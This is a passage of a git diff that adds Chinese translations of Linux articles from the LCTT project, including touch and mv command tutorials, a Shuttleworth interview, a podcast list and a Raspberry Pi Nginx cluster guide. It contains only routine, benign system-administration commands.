命令仍然能识别它。日期已经改为了2014年1月21日,而当前的日期为2014年1月14日。 + +还有另一个**-d**选项的示例。 +首先,我们要将file3_3.txt重置到当前日期和时间。 + + $ touch file_3.txt + +![Reset file_3.txt timestamp](http://linoxide.com/wp-content/uploads/2014/01/touch_reset_file_3.png) + +然后我们尝试这个命令: + + $ touch -d ‘1 year ago 13:43:07’ file_3.txt + +![Change date using keyword](http://linoxide.com/wp-content/uploads/2014/01/touch_d_year_ago.png) + +太震撼了,Touch 甚至能识别单词‘**1 year ago**’。现在的日期以及时间已经改为了2013年1月14日,13:43:07。 + +### 创建一个空文件 ### + +当你运行 touch 命令目标文件不存在时,touch 会创建一个同名的空文件。 + + $ touch file_10.txt + +![Create an empty file](http://linoxide.com/wp-content/uploads/2014/01/touch_file_10.png) + +### 同时创建多个文件 ### + +你可以用空格将目标文件分割开来,以此来创建多个文件。 + + $ touch doc_10.txt doc_20.txt doc_30.txt + +![Create multiple files](http://linoxide.com/wp-content/uploads/2014/01/touch_multiple_files.png) + +### 总结 ### + +如果你要处理关于文件或目录的时间戳问题,那么 Touch 会对你很有用的。一如既往得你也可以键入**man touch**或**touch --help**来显示帮助页面了解更多细节。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-touch-command/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/Mark Shuttleworth interview--Taking Ubuntu beyond desktops.md b/published/201403/Mark Shuttleworth interview--Taking Ubuntu beyond desktops.md new file mode 100644 index 0000000000..a89adb50d4 --- /dev/null +++ b/published/201403/Mark Shuttleworth interview--Taking Ubuntu beyond desktops.md @@ -0,0 +1,55 @@ +马克·沙特尔沃思专访:Ubuntu——不仅仅是桌面端 +================================================================================ +也许,他已经从Canonical公司CEO的位置退了下来,但马克·沙特尔沃思仍然是最能代表Ubuntu的公众人物。 + +2013年年初,他在Ubuntu Edge众筹项目上栽了跟头,除了现金,他争取到了许多个人资本的支持,但是距离最终的宏大目标还是相差甚远。然而,他告诉我们该项目并非完全失败,并且甚至有可能被所有知名的智能手机制造商所模仿。 + +#### 问:Ubuntu将会继续专注于桌面多长时间?#### + +**答:**如果你有观察到我们在桌面、手机和平板上已完成的设计工作,会发现我们已经针对性地完成了一些工作,这样我们就可以将它们整合为同一个代码库。目前我们正在努力的移动端代码同时也是未来的桌面代码库:你的手机就可以给你一个桌面环境,因为它本身就包含了所有的桌面端代码。 + +> 目前我们正在努力的移动端代码同时也是未来的桌面代码库 + +实际的代码合并会在下一个主周期里的某个时间点进行 - 不会在14.04版本中,但有可能在14.10或15.04中。我们相信我们有能力赶在微软完成合并移动端和PC端的Windows系统前完成这一计划,尽管微软公司表示这是它在设计和发展上的目标。 + +一旦我们合并完这些代码,就会产生一个疑问:六个月的发行周期还是否有必要。因为手机和平板用户习惯于在任何时刻更新手机系统,因此我们可能会软化六个月的周期,改为随时发布更新。 + +#### 问:安卓和iOS已经发展得很好了,你是如何鼓舞开发者们为Ubuntu开发应用程序的呢?#### + +**答:** 这个问题很关键。Ubuntu是各种[云计算][1]上的首要平台 - 例如,Instagram全部部署在Ubuntu上,人们移动设备里运行的游戏和服务后端也运行在Ubuntu云上。因此,在这方面,我们有很强烈的责任感。 + +我认为在Ubuntu和Windows 8之间最关键的不同是,Ubuntu基于Linux,就像安卓一样。这意味着相比Windows,为安卓平台设计的web应用和原生应用与Ubuntu的关系会更紧密一些。很多安卓开发者使用Ubuntu,在Ubutu上开发应用程序,因此对他们来说同时瞄准这两个平台开发更加容易。 + +#### 问:目前有任何硬件合作者有意向生产Ubuntu手机和平板吗?#### + +**答:**我们在很多家居品牌上看到了测试设备。但这些公司都是由内部团队来决定未来如何选择,外界很难去影响他们,真正能促使他们做出决定的只有他们自己感兴趣的东西。 + +但是我们也发现了很多公司将Ubuntu平台部署在一些前沿的设备上。既然Ubuntu也是Linux,所以对他们而言如果想要流水线生产安卓设备相对更容易。这是一个十分强烈的兴趣信号,暗示他们正在独立地将Ubuntu安装到设备上并将其呈现给运营商。 + +#### 问:你是否对Ubuntu Edge没能获得资助感到失望?#### + +**答:**的确,我感到非常失望,因为我们没有能够将它转变成现实。我持续地收到人们发来的电子邮件,在其中写到“我支持Edge,为它没有诞生感到难过”。但我还是备受打击,毕竟我们没有达到预定目标。对我们来说设备的自主生产才会是一个巨大的保证,但如果你考虑已有的手机生产商,他们可能会以较低的[资金]上限来对待Edge。 + +我们也看到了更多人更多地开始对融合更感兴趣。人们都在说,“是的,移动处理器正在追上桌面台式机”。苹果发布下一代iPhone [5s]时,它声称处理器是“桌面级的”,我认为这并非偶然。 + +要说苹果过早地幸灾乐祸,可能性不大,因此我们认为这一说法传递了一个非常清晰的信号:iPhone手机和MacBook Air笔记本电脑将会进行整合。除非你打算用这种CPU去制造一台桌面设备,否则去讨论这种CPU的机器性能是没有任何意义的。 + +因此,当我为我们没有成功实现Edge感到失望时,我也确信这个想法会被实现的。未来我们将重点关注如何为这个融合的世界提供最好的软件栈。 + +#### 问:你个人使用的是什么类型的智能手机?#### + +**答:**我的智能手机是一台Nexus,并且我已经用Ubuntu替换掉了安卓。我也拥有一些运行着Windows Phone,iOS和安卓的设备。这样可以帮助我持续了解什么是用户期望得到的东西。 + +#### 问:Ubuntu电视的开发进度如何?它在2012就已经发布,但从此却杳无音讯了。#### + +**答:** Ubuntu电视已经并入到移动端代码了。目前我们正致力于生产。这次发行可能是手机,下次是平板,最后一切都将融合在一起。我们将拥有一个独有代码库,跨越所有不同形式因素的Ubuntu经验代码库。 + +-------------------------------------------------------------------------------- + +via: http://www.pcpro.co.uk/news/interviews/386080/mark-shuttleworth-interview-taking-ubuntu-beyond-desktops + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cloudpro.co.uk/ diff --git "a/published/201403/Moving or Rename File \357\274\217 Directory in Linux - 10 Practical mv Command Examples.md" "b/published/201403/Moving or Rename File \357\274\217 Directory in Linux - 10 Practical mv Command Examples.md" new file mode 100644 index 0000000000..8b68f665fe --- /dev/null +++ "b/published/201403/Moving or Rename File \357\274\217 Directory in Linux - 10 Practical mv Command Examples.md" @@ -0,0 +1,147 @@ +Linux 移动或重命名文件/目录-mv 的10个实用例子 +================================================================================ + +熟悉了 [复制命令][1],下一个相关的命令就是 mv 命令。当你想要将文件从一个位置移动到另一个地方并且不想复制它,那么**mv 命令**是完成这个任务的首选。 + +### 初识 mv 命令 ### + +mv 命令是一个与**cp**类似的命令,但是它**并非**创建文件或目录的复制品/副本。不管你在使用什么版本的Linux系统,mv 都默认安装在你的Linux系统上了。来看一下 mv 命令在日常操作中的一些例子。 + +#### 1.移动文件 #### + +移动文件时需要注意的是文件的源地址和目标地址**必须不同**。这里有个例子,想要将**file_1.txt**文件从当前目录移动到其它目录,以**/home/pungki/**为例,语法应该如下: + + $ mv file_1.txt /home/pungki/office + +![mv command](http://linoxide.com/wp-content/uploads/2014/01/mv.png) + +如我们所见,当我们移动 file_txt 文件时,先前目录的 file_1.txt 就**被删除了**。 + +#### 2.移动多个文件 #### + +如果想一次移动多个文件,我们可以将他们放在一行并用空格分开。 + + $ mv file_2.txt file_3.txt file_4.txt /home/pungki/office + +![Move multiple files](http://linoxide.com/wp-content/uploads/2014/01/mv_multiple.png) + +如果你的文件有规律可循的话那么你就可以使用通配符。比如,为了移除所有以**.txt**为扩展名的文件,我们可以用下面的命令: + + $ mv *.txt /home/pungki/office + +![Move using pattern](http://linoxide.com/wp-content/uploads/2014/01/mv_pattern.png) + +#### 3.移动目录 #### + +不同于复制命令,用 mv 命令移动目录相当直接。移动目录你可以使用不带选项的 mv 命令。看下面的截图就一目了然了。 + +![Moving directory](http://linoxide.com/wp-content/uploads/2014/01/mv_directory.png) + +#### 4.重命名文件或目录 #### + +我们也用 mv 命令来重命名文件或目录。不过目标位置和源位置必须相同才可以。然后文件名必须不同。 + +假定我们当前所在目录为**/home/pungki/Documents**,而我们想将**file_1.txt重命名为file_2.txt**。那么命令应该如下: + + $ mv file_1.txt file_2.txt + +如果是绝对路径,它应该像下面这样: + + $ mv /home/pungki/Documents/file_1.txt /home/pungki/Documents/file_2.txt + +![Renaming file](http://linoxide.com/wp-content/uploads/2014/01/ren_file.png) + +#### 5. 重命名目录 #### + +上一段的规则同样适用于目录。请看这个例子: + + $ mv directory_1/ directory_2/ + +![Renaming directory](http://linoxide.com/wp-content/uploads/2014/01/ren_directory.png) + +#### 6. 打印移动信息 #### + +当你移动或重命名一大堆文件或目录时,你可能会想在不去目标位置去查看的情况下知道你自己的命令是否成功地执行了。这就要用到**-v**选项了。 + + $ mv -v *.txt /home/pungki/office + +![mv with verbose mode](http://linoxide.com/wp-content/uploads/2014/01/mv_v.png) + +该方法同样适用于目录。 + +![mv directory with verbose mode](http://linoxide.com/wp-content/uploads/2014/01/mv_v_directory.png) + +#### 7. 使用交互模式 #### + +当你将文件移动到其它位置,而那个位置恰好有同样的文件,这时 mv 命令会覆盖掉原来的文件。对于mv的这一行为一般不会有什么提示。如果想产生一个关于覆盖文件的提示,我们可以使用**-i**选项。(译注:通常发行版会通过alias命令,将-i作为默认选项,所以会有提示。) + +假设我们想将 file_1.txt 移动到 /home/pungki/office。同时,/home/pungki/office 目录下已经有file_1.txt文件了。 + + $ mv -i file_1.txt /home/pungki/office + +![mv with interactive mode](http://linoxide.com/wp-content/uploads/2014/01/mv_interactive.png) + +这个提示会让我们知道目标位置处file_1.txt的存在。如果我们按**y**键,那么那个文件将会被删除,否则不会。 + +#### 8. 使用更新选项 #### + +-i 选项会提示我们关于覆盖文件的提示,而 -u 则只在源文件比目标文件新时才执行更新。让我们看一看下面的例子: + +![Update only newer](http://linoxide.com/wp-content/uploads/2014/01/mv_u.png) + +假如 file_1.txt 和 file_2.txt有如下特点: + + File_1.txt has 84 bytes file size and it last modified time is 12:00 + File_2.txt has 0 bytes file size and it last modified time is 11:59 + +我们想将它们移动到 /home/pungki/office 目录下。***但是目标地址**已经有file_1.txt和file_2.txt了。 + +我们用下面的命令将file_1.txt 和file_2.txt从当前目录移动到/home/pungki/office + + $ mv -uv *.txt /home/pungki/office + +可以看到这些文件被移动了。能移动这些文件是因为它们最近的修改时间戳比 /home/pungki/office 目录中的文件新。 + +#### 9.不要覆盖任何已存在的文件 #### + +如果**-i**选项询问我们是否要覆盖文件,那么 -n 选项将不会允许我们覆盖任何已存在的文件。 + +继续使用第8点中的例子,如果我们将**-u 换成 -n**同时加上**-v**选项,那么我们会看到没有任何文件移动到了 /home/pungki/office 目录下。 + + $ mv -vn *.txt /home/pungki/office + +![No overwrite](http://linoxide.com/wp-content/uploads/2014/01/mv_n.png) + +#### 10. 复制时创建备份 #### + +默认情况下,移动文件将会覆盖已存在的目标文件。但是如果我们移动错了文件而目标文件已经被新的文件覆盖了,这时应该怎么办才好呢?**有没有一种方法可以恢复之前的文件呢?答案是肯定的**。我们可以用**-b**选项。该选项会在新文件覆盖旧文件时将旧文件做备份。这里我们还以第8点为例。 + + $ mv -bv *.txt /home/pungki/office + +![Backup option](http://linoxide.com/wp-content/uploads/2014/01/mv_b.png) + +如截图中所见,在 /home/pungki/office 目录下出现了名为**file_1.txt~ and file_2.txt~ 的文件。那个波浪符号(~)意味着**这些文件是备份文件。从它们的属性中我们可以看到,这些文件比file_1.txt和file_2.txt要旧。 + +#### 11. 无条件覆盖已经存在的文件 #### + +(译注:这一节是译者补充的,原文遗漏了这个重要选项) + +当你希望无论如何都覆盖已经存在的文件或目录时,你可以使用 -f 选项。如果同时指定了 -f 选项和 -i 或 -n 选项,则 -f 选项会覆盖它们——即不进行任何提示而覆盖,所以,在使用此参数时,知道你在做什么。 + + $ mv -f *.txt /home/pungki/office + + + +### 总结 ### + +移动文件和目录命令是Linux系统的基本命令。通常你可以通过**man mv** 或者 **mv --help**显示mv的手册页以了解更多详细信息。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/mv-command-linux/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2687-1.html diff --git a/published/201403/Should Canonical Drop the Current Background Theme for Ubuntu 14.04 LTS.md b/published/201403/Should Canonical Drop the Current Background Theme for Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..e1f73d9e6a --- /dev/null +++ b/published/201403/Should Canonical Drop the Current Background Theme for Ubuntu 14.04 LTS.md @@ -0,0 +1,19 @@ +Canonical应该在Ubuntu 14.04 LTS中放弃现有的背景主题么? +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Should-Canonical-Drop-the-Curent-Background-Theme-for-Ubuntu-14-04-LTS-420737-2.jpg) + +Ubuntu已经使用同一套背景很多年了,但是随着即将到来的Ubuntu 14.04 LTS(Trusty Tahr),它会是更换主题的一个绝佳时机么? + +Ubuntu设计团队总是保持背景简单又熟悉。从经验上,你需要确保用户在扫一眼的时候就能认出操作系统,仅仅在看见桌面颜色的时候。 + +这方向上主要的改变是在Ubuntu 10.04 LTS(Lucid Lynx)发布的时候.在Lucid Lynx之后,背景一直在进化中,从一个版本到另一个,都有很小的增长。 + +Ubuntu 14.04 LTS (Trusty Tahr) 或许是时候撼动这件事了。Canonical同样在准备对icon和Unity7 的改头换面。有什么更好的时机使Ubuntu 14.04 LTS与之前的版本中脱颖而出? + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Should-Canonical-Drop-the-Curent-Background-Theme-for-Ubuntu-14-04-LTS-420737.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/Top 9 Linux Podcasts.md b/published/201403/Top 9 Linux Podcasts.md new file mode 100644 index 0000000000..620ff17a8b --- /dev/null +++ b/published/201403/Top 9 Linux Podcasts.md @@ -0,0 +1,157 @@ +Linux 9大 Podcast +================================================================================ +### 简介 ### + +去年,我写了一篇叫“[Linux 的 Podcasts 和杂志][1]”,在其中,我列出了一些有关 Linux 的最好的 Podcasts 和杂志。回看那篇文章,我感觉它本来可以列出更多,因为现在有许许多多的 Podcasts 配得上那个称号。 + +下面的这个列表列出的是我最喜欢的基于 Linux 的 podcasts。排名不分次序,我认为它们都有各有特点。 + +现在你肯能会认为只有9个会有点奇怪,为什么不是10个呢?当然所有这些事情都是10个10个地出现。那么如果我加上第十个,那么这就不再是一个货真价实的列表了,因为我只有听过9个 Podcasts。但是,你们不要犹豫在评论栏里加上你们自己的 Podcast。 + +### 1. Linux Action Show ### + +官网:[http://www.jupiterbroadcasting.com/tag/linux-action-show/][2] + +The Linux action show 由 Chris Fisher 和 Matt Hartley 来主持。 + +你可以在线观看节目又或者下载或收听 MP3 格式的节目。 + +他们的节目都非常有趣,并且主持们都非常乐观和热情。 + +节目包括新闻、精选、回馈和一个特色主题。 + +同时节目还包括发掘 Linux 社区所发生的事情,并且你还会听到你以前从来都没有听过的软件。 + +节目的时间相对比较长,持续接近 2 个小时。这是一个非常适合你在工作时候收听的好节目。 + +### 2. Linux Unplugged ### + +官网:[http://www.jupiterbroadcasting.com/show/linuxun/][3] + +我没有骗你,这又是与他们两个有关。 + +只不过 Linux Unplugged 是 Linux Action Show 的不太正式版,同时 Chris 和 Matt 希望在 Linux 环境之外尝试新的东西。嘉宾和聊天室用户可用在节目中直接地互动。 + +看直播远比看重播要爽,同样,他们也会在每个星期传递相同的信息。 + +### 3. The Linux Link Tech Show ### + +官网:[http://tllts.org/][4] + +The Linux Link Tech Show 是一个不算很正式的节目,基本上,他是由一群讨论有关常见的 Linux 和生活的人组成的。 + +同样这个节目也大概持续 2 个小时,并且比听叽叽喳喳的 DJ 谈论他们上星期喝得多醉有趣得多。 + +根据网站,主持每个星期都会有稍微的不同,他们有 Linc,Dann,Allan,Pat,Rich,Dan 和 Davey。 + +我听了他们上一期的节目,他们讨论了有关 Linux,GNU/Linux 等等的内容。当然,他们在下一期的节目中也会是不断地讨论讨论讨论。 + +### 4. Everyday Linux ### + +官网:[http://elementopie.com/everyday-linux-episodes][5] + +Everyday Linux 是由 Seth Anderson,Chirs Neves 和 Mark Cockrell 主持,并且讨论与 Linux 有关和一些非 Linux 的话题。 + +同样,节目时常大约 2 小时,内容涵盖 Linux 新闻,发行版和软件。 + +在上一期节目中,他们谈论了有关 Plex 的文章,专利流氓和一个怀旧游戏网站。在其中一节,一个家伙谈论了 Linux 在这一年是否完成了它的一些目标。 + +许多的讨论都是关于 Linux 当经是否在市场上占主导位置,并且是否包含台式电脑。没有人能决定 ChromeOS 和 Android 是否只使用 Linux 作为基础和我们应该使用 Linux,GNU/Linux 等等哪一种术语的古老的题目。 + +我经常在一些文章末尾得到一些评论,指明发行版并不是操作系统,它是发行版又或者 Linux 不是一个操作系统,GNU/Linux 才是。这看来似乎是永不结束的讨论。 + +在好几个月之前,我很幸运我能够以[嘉宾的身份在 Everyday Linux podcast][6] 中登场。 + +### 5. Going Linux ### + +官网:[http://goinglinux.com/][7] + +Going Linux是由 Larry Bushey 和 Bill Smith 主持。 + +这节目显得更加的正式,并且主持们对于 Linux 都有很深厚的认识。 + +节目大部分的时间都是由大众来提问题,然后主持们尽可能简洁地回答他们的问题。 + +这个节目非常值得收听,因为通过它你至少能够学到一点东西。 + +它比之前的节目平均要短 40 分钟。 + +### 6. Ubuntu UK Podcast ### + +官网:[http://podcast.ubuntu-uk.org/][8] + +Ubuntu UK Podcast 是一个英国的 Podcast,由 Laura Cowen,Mark Johnson 和 Alan Pope 主持。 + +这个节目会快速地调侃一下有关 Linux 的事情,但是大多时间都是关于 Ubuntu。 + +节目开始是一些普通 Linux 新闻的摘要,然后接着就是有关 Ubuntu 的信息。 + +通常节目中都会有一个特色环节,并邀请嘉宾,辅导和命令行爱好者。完事之后会有一个反馈环节。 + +节目通常只有 30 分钟,你会觉得时间过得飞一般快。 + +### 7. Linux Outlaws ### + +官网:[http://sixgun.org/linuxoutlaws][9] + +由 Fabian Scherschal 和 Dan Lynch 主持的 Linux Outlaws,是最具娱乐气氛的 Podcast 之一。 + +你必须做好准备,因为你随时都会听到一连串的不雅用语,我说的是随时都会听到。 + +就像一些很好的搭档一样,那里有滑稽的配角和戏剧演员。Dan 扮演配角,而 Fab 则扮演戏剧天才。 + +节目时长从 1 小时到 2 个半小时不等。 + +节目通常会谈论过去一个星期有关 Linux 的新闻,其中覆盖了从发行到信息安全等各方面的内容。 + +绝对值得收听,尤其如果你不是一个特别容易被冒犯的人。 + +### 8. Linux Luddites ### + +官网:[http://linuxluddites.com/][10] + +Linux Luddites 是另外一个英国的 Podcast,由 Joe 和 Paddy 主持。 + +我在上星期只听过一次他们的节目,但却印象深刻。 + +节目内容包括这个星期的新闻(如果你像我一样收听多个 Podcasts,那你完全可以总结出听过数遍相同的信息之后会怎么样),简单地讨论从 Distrowatch 获取的发行版,反馈,等等。 + +在节目中我听到了以一个新用户角度来看 Debian 且相当深入的内容。 + +他的观点是关于让人迷惑的 Debian 网站,安装包和其他 Debian 的特色。 + +### 9. Mintcast ### + +官网:[http://mintcast.org/][11] + +Mintcast 是由 Rob,Scott 和 James 主持的并且与 Ubuntu UK Podcast 非常相像的 Podcast,不过他主要面向的是 Mint 的用户。 + +节目内容包括新闻和常见的特色环节例如谈论 LXDE 或 XFCE 等等。 + +我必须承认的是我并没有常常收听这个 Podcast 因为我不是一个 Mint 的用户。 + +### 总结 ### + +Podcasts 更多的是娱乐和推送新闻,并且相对于收听普通的收音机,我更宁愿选择收听 Podcasts。 + +感谢阅读! + +-------------------------------------------------------------------------------- + +via: http://www.everydaylinuxuser.com/2014/02/top-9-linux-podcasts.html + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.everydaylinuxuser.com/2013/05/linux-podcasts-and-magazines.html +[2]:http://www.jupiterbroadcasting.com/tag/linux-action-show/ +[3]:http://www.jupiterbroadcasting.com/show/linuxun/ +[4]:http://tllts.org/ +[5]:http://elementopie.com/everyday-linux-episodes +[6]:http://www.everydaylinuxuser.com/2013/08/everyday-linux-user-and-everyday-linux.html +[7]:http://goinglinux.com/ +[8]:http://podcast.ubuntu-uk.org/ +[9]:http://sixgun.org/linuxoutlaws +[10]:http://linuxluddites.com/ +[11]:http://mintcast.org/ diff --git a/published/201403/Two Pi R 2--Web Servers.md b/published/201403/Two Pi R 2--Web Servers.md new file mode 100644 index 0000000000..837539544e --- /dev/null +++ b/published/201403/Two Pi R 2--Web Servers.md @@ -0,0 +1,87 @@ +树莓派使用实例之:2 Pi R 第二篇:Web服务器 +================================================================================ +在我的上一篇[文章][1]中讲过如何做一个高可用系统:两个树莓派布署上 GlusterFS 集群文件系统,就变成一个容错文件服务器了。在这篇文章中我们会基于这个高可用系统构建另一个容错服务:建立一个简单的 Web 服务器集群。 + +可能你没有看过我的上一篇文章,那我就在这里简单回顾一下上次的内容。我有两个树莓派:Pi1 和 Pi2。Pi1 的 IP 地址为 192.168.0.121,Pi2 的 IP 地址为 192.168.0.122。我把它们组合成为 GlusterFS 集群系统,共享一个存储卷,卷名为 gv0。并且这个 gv0 被挂载在两个树莓派上,挂载点都是 /mnt/gluster1,这样一来,两个树莓派能同时访问到这个共享卷。最后我测试了下系统的容错性,将共享卷挂载到第三个物理机上,并执行共享卷上的一个简单的脚本:打印系统时间并输出到 gv0 上的一个文件内,然后轮着关掉两台树莓派,检测这个冗余系统是否还能用。 + +现在我手上有这个经过检验的存储系统,我要做的是把这个系统做成有容错功能的 Web 服务器集群。树莓派的 CPU 处理速度和内存资源都不是很高,好在对付一个静态 Web 服务器已经是绰绰有余了。我故意把这个例子做得非常简单,因为我觉得如果你能摆平这个简单的例子,你也能处理复杂一点的问题了。 + +### 安装 Nginx ### + +虽然我也比较喜欢 Apache,但在资源有限的情况下,像 Nginx 这样功能全、性能高、资源占用少的 Web 服务器是比较理想的选择。在 Raspbian 的默认源中存在 Nginx,所以我只要登入一台树莓派并且输入以下命令: + + $ sudo apt-get update + $ sudo apt-get install nginx + +Nginx 安装好后,创建配置文件 /mnt/gluster1/cluster ,内容如下: + + server { + root /mnt/gluster1/www; + index index.html index.htm; + server_name twopir twopir.example.com; + + location / { + try_files $uri $uri/ /index.html; + } + } + +注意:我这里把服务器命名为“twopir”,你可以根据自己爱好命名你的网站。另外我把 Web 服务器的根目录设置为 /mng/gluster1/www。这样,我就能把我的静态文件放在这个共享存储系统内,从而让两个树莓派主机都访问到它们。 + +现在删除默认的 Nginx 配置文件,将上面配好的配置文件作为 Nginx 的配置文件。在 Debian 系统中,Nginx 将它的配置文件像 Apache 一样放在 sites-available 和 site-enabled 两个目录下面。虚拟主机配置文档放在 sites-available 中,而 sites-enabled 目录包含了你想生效的配置文件的软链接。 + + $ cd /etc/nginx/sites-available + $ sudo ln -s /mnt/gluster1/cluster . + $ cd /etc/nginx/sites-enabled + $ sudo rm default + $ sudo ln -s /etc/nginx/sites-available/cluster . + +现在我已经放好了配置文件,但系统还不存在上面所说的 Web 服务器根目录。下一步就是创建目录 /mnt/gluster1/www,并复制 index.html 文件进去。当然你也可以建立自己定义的 index.html 文件,但先复制一个已有的文件是个不错的选择: + + $ sudo mkdir /mnt/gluster1/www + $ cp /usr/share/nginx/www/index.html /mnt/gluster1/www + +重启 Nginx 服务: + + $ sudo /etc/init.d/nginx restart + +现在去 DNS 服务器为192.168.0.121的树莓派配置记录。你可以根据自己的情况配置你自己的域名和 IP 地址。现在在浏览器上输入 http://twopir/ 然后出现默认的 Nginx 首页。如果你查看下 /var/log/nginx/access.log 文件,你可以看到点击网页留下的记录。 + +Nginx 能正常工作后,配置第二个树莓派。因为我们已经将配置文件都放在 GlusterFS 共享目录下,我们现在要做的只是安装 Nginx,创建相关的软链接,重启 Nginx: + + $ sudo apt-get update + $ sudo apt-get install nginx + $ cd /etc/nginx/sites-available + $ sudo ln -s /mnt/gluster1/cluster . + $ cd /etc/nginx/sites-enabled + $ sudo rm default + $ sudo ln -s /etc/nginx/sites-available/cluster . + $ sudo /etc/init.d/nginx restart + +### DNS 服务器上配置两条 A 记录 ### + +现在两个主机共享同一份文件,下一步是设置冗余系统的关键步骤。虽然你完全可以设置一个类似心跳的服务用于轮询检测哪个树莓派的 Web 服务是开启的,但这里有个更好的方法:给同一个主机名指定两个 DNS 的 A 记录,分别指向你的两个树莓派(译注:A 记录就是将域名转化为 IP 地址的记录,DNS 包含很多记录方式,如 A 记录、PTR 记录、MX 记录等等),这就是传说中的 DNS 负载均衡,DNS 访问主机时,如果主机名对应多个 IP 地址,DNS 会随机返回这些 IP 地址的顺序: + + $ dig twopir.example.com A +short + 192.168.0.121 + 192.168.0.122 + $ dig twopir.example.com A +short + 192.168.0.122 + 192.168.0.121 + +因为返回随机的顺序,用户可以均匀地往两台服务器发送请求,这个负载均衡的机制就是由 DNS 服务器的多条 A 记录来提供。相对于 DNS 的负载均衡技术,我更感兴趣的是 Web 浏览器如何处理请求失败的情况。当浏览器通过网页主机获得两条 A 记录,并且第一条记录所在的主机当机了,浏览器几乎立刻就切到另一条记录上。切换效率快到用户根本察觉不出来,这可比传统的心跳线轮循请求主机快多了。 + +所以在你正在使用的 DNS 服务器上添加你的树莓派集群的两个 IP 地址,然后试试 dig 命令,就像我在上面使用过的一样,你也应该能得到两个 IP 地址。 + +当你为同一个域名设置好了两个 A 记录,这套集群就可以提供容错服务了。打开两个终端并分别登录到两个树莓派,运行 tail -f /var/log/ngnix/access.log 命令,你可以监视 Web 服务器的访问情况。当你通过浏览器访问网页时,你可以看到在一台树莓派上产生了访问日志,而在另外一台的日志里什么也没有出现。现在你可以刷新几次页面,当你觉得你对能成功访问到 Web 服务器感到满意了,你可以重启响应你请求的那台树莓派,然后再刷新几次页面。也许浏览器上会出现一个短暂的不可访问信号,但会马上重定向到第二台树莓派上,你会看到一样的页面,并且你能通过终端访问日志了解具体情况。当第一台树莓派启动后,你在浏览器上根本不会察觉到。 + +随机重启一台树莓派,只要有一台在线,Web 服务器就能提供服务。这是一个非常简单的案例,你可以把你其它的静态文件放到 /mnt/gluster1/www 上,为你提供真正有价值的服务,现在好好享受你的低成本容错集群 Web 服务器吧。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/two-pi-r-2-web-servers + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2587-1.html diff --git a/published/201403/Ubuntu 14.04 LTS vs. Windows XP--Pros and Cons.md b/published/201403/Ubuntu 14.04 LTS vs. Windows XP--Pros and Cons.md new file mode 100644 index 0000000000..9fcff13f6a --- /dev/null +++ b/published/201403/Ubuntu 14.04 LTS vs. Windows XP--Pros and Cons.md @@ -0,0 +1,86 @@ +对决:Ubuntu 14.04 LTS 大战 Windows XP +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-2.jpg) + +**越来越多的人期待着 Ubuntu 14.04 LTS (Trusty Tahr) 的发布,并希望她能在不改变用户习惯的前提下替代 Windows XP。 +因此我们将在本文尝试给大家分析下这个两个系统的优缺点。** + +很多 Windows XP 用户在微软宣布四月份后即将停止对他们的操作系统提供安全更新后作出改变。他们像大多数改用 Linux 的用户一样,有着大量的系统操作和兼容性方面各式各样的问题。而事实是这些原 XP 用户可能顾虑太多了,理由如下: + +### 安装 ### + +如果你在一生中哪怕就装过一次 Windows,祝贺你,因为你已经知道该如何安装 Ubuntu 这类的系统了。Ubuntu 为用户提供了一个很直观而且没有太多复杂选项的安装界面。 + +唯一可能会使你疑惑的就是系统分区时出现的大量陌生词汇了,比如“交换空间(swap)”和“EXT4文件系统”。不过好消息是在 Linux 下你或许永远不需要多个分区了。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-3.jpg) + +*Ubuntu 安装* + +### 驱动 ### + +Windows 用户需要为新的硬件安装驱动,比方说聊天时用的摄像头。 +某些驱动或许会由系统提供,但大多数的仍需要手动安装。 + +在 Ubuntu 的驱动问题上,唯一可能需要担心的就是显卡驱动了。 +首先你可能不清楚应该从哪里改变现有驱动,而安装一个新的驱动可能需要一些调整。 +然而这刚好是你学习如何添加一个 PPA 源以及更新你的软件包的好时机,而且这些操作都轻而易举。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-4.jpg) + +*安装私有驱动* + +### 主界面 ### + +Ubuntu 在整体界面上还是和 Windows XP 有些区别的。尽管她更直观,但总有些偷懒的用户还是会放弃探索如何使用这个新系统的精彩时光。 + +不过呢 Ubuntu 依然可以为这些“懒”用户们提供几种看起来更像 Windows XP 的衍生版本,比如 Xubuntu 和 Lubuntu。 +她们都是基于 Ubuntu 的而且提供基本相同的软件。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-5.jpg) + +*Ubuntu 